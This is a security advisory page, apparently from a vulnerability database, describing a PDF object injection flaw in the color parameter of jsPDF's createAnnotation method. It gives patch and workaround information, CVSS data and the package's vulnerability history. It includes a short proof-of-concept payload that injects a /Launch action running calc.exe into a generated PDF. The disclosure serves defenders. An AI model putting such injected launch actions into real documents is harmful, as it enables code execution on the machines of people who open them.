jsPDF has a PDF Object Injection via FreeText color
Impact
User control of arguments of the createAnnotation method allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..
createAnnotation:colorparameter
Example attack vector:
import { jsPDF } from 'jspdf'
const doc = new jsPDF();
const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';
doc.createAnnotation({
type: 'freetext',
bounds: { x: 10, y: 10, w: 120, h: 20 },
contents: 'hello',
color: payload
});
doc.save('test.pdf');Patches
The vulnerability has been fixed in jsPDF@4.2.1.
Workarounds
Sanitize user input before passing it to the vulnerable API members.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | jspdf | < 4.2.1 | 4.2.1 |
References
- https://github.com/parallax/jsPDF/security/advisories/GHSA-7x6v-j9x4-qf24
- https://nvd.nist.gov/vuln/detail/CVE-2026-31898
- https://github.com/parallax/jsPDF/commit/4155c4819d5eca284168e51e0e1e81126b4f14b8
- https://github.com/parallax/jsPDF
- https://github.com/parallax/jsPDF/blob/b1607a9391d4cd65ea7ade25998aea8345ae1be3/src/modules/annotations.js#L193-L208
- https://github.com/parallax/jsPDF/releases/tag/v4.2.1
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N- Weakness (CWE)
CWE-116- Platform
- npm
- Package
jspdf- Disclosed
- 17.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7x6v-j9x4-qf24 - CC BY 4.0
Vulnerability history: jspdf
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 15
- First → latest
- 03.2021 03.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 9
- Medium 4
Disclosures per year
- 2021: 3
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 2
- 2026: 10
-
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